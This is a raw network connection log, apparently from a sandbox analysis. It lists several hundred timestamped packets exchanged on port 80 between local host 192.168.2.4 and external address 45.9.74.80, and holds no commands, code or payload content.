Jul 27, 2023 18:27:01.426614046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426659107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426677942 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.426704884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426749945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426764011 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.426796913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426845074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426892042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426896095 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.426938057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426981926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426995993 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427028894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427040100 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427076101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427120924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427131891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427167892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427215099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427236080 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427263021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427308083 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427352905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427365065 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427400112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427445889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427454948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427489996 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427536011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427553892 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427586079 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427586079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427633047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427678108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427690029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427726030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427772999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427779913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427819014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427866936 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427913904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.427922010 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.427961111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428008080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428025961 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428054094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428101063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428117990 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428147078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428153992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428191900 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428193092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428240061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428303003 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428308010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428354979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428406000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428416967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428452969 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428459883 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428499937 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428546906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428559065 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428596020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428642035 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428653002 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428689003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428733110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428780079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428824902 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428845882 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428870916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428898096 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.428916931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428965092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.428982973 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429011106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429056883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429071903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429104090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429122925 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429155111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429199934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429245949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429263115 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429291010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429313898 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429342031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429388046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429408073 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429433107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429481030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429506063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429527998 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429574013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429617882 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429621935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429668903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429677963 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429714918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429760933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429784060 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429807901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429853916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429872036 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429900885 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429948092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.429960012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.429994106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430039883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430048943 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430087090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430134058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430185080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430198908 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430229902 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430277109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430291891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430325985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430372000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430382967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430418015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430435896 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430464983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430510998 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430557013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430571079 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430607080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430654049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430665016 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430700064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430717945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430747032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430794001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430805922 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430840969 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430886984 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430898905 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.430932999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430979013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.430990934 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431027889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431091070 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431135893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431150913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431183100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431231976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431248903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431276083 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431303978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431327105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431372881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431420088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431435108 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431466103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431514025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431524992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431560993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431574106 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431608915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431653976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431670904 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431698084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431745052 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431756020 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431791067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431834936 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431881905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431891918 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.431929111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431974888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.431986094 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.432019949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432034016 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.432065010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432111979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432122946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.432157040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432204008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432215929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.432250977 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432315111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432363033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432374001 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.432408094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432454109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432468891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.432499886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432548046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.432555914 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.432599068 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.437508106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.437570095 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.437597036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.437627077 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.437634945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.437660933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.437685013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.437726974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.437757969 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.455776930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.455843925 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.455889940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.455934048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.455961943 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.455982924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456031084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456046104 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456109047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456120014 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456156015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456199884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456214905 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456244946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456317902 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456321955 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456367016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456413031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456429958 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456460953 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456507921 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456537962 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456552982 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456604958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456630945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456654072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456698895 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456746101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456758976 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456794024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456839085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456866980 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456887007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456890106 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.456931114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.456976891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457020998 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457024097 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457068920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457115889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457130909 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457163095 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457209110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457222939 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457257032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457272053 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457302094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457348108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457380056 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457395077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457441092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457487106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457499981 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457532883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457578897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457595110 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457628012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457674026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457694054 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457720041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457729101 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457767010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457812071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457825899 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457859039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457905054 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457951069 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.457978964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.457998991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458044052 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458058119 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458090067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458106041 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458137035 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458183050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458198071 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458230019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458275080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458285093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458322048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458369017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458379030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458415031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458461046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458508015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458529949 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458554029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458601952 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458611965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458647013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458657980 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458693981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458740950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458754063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458785057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458832026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458843946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.458878040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458924055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.458969116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459001064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459016085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459060907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459084988 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459109068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459122896 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459153891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459199905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459208965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459245920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459291935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459338903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459359884 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459384918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459424019 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459430933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459479094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459525108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459569931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459600925 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459618092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459662914 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459671974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459709883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459755898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459801912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459811926 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459847927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459892988 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459908009 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.459938049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.459944963 CEST	49705	80	192.168.2.4	45.9.74.80
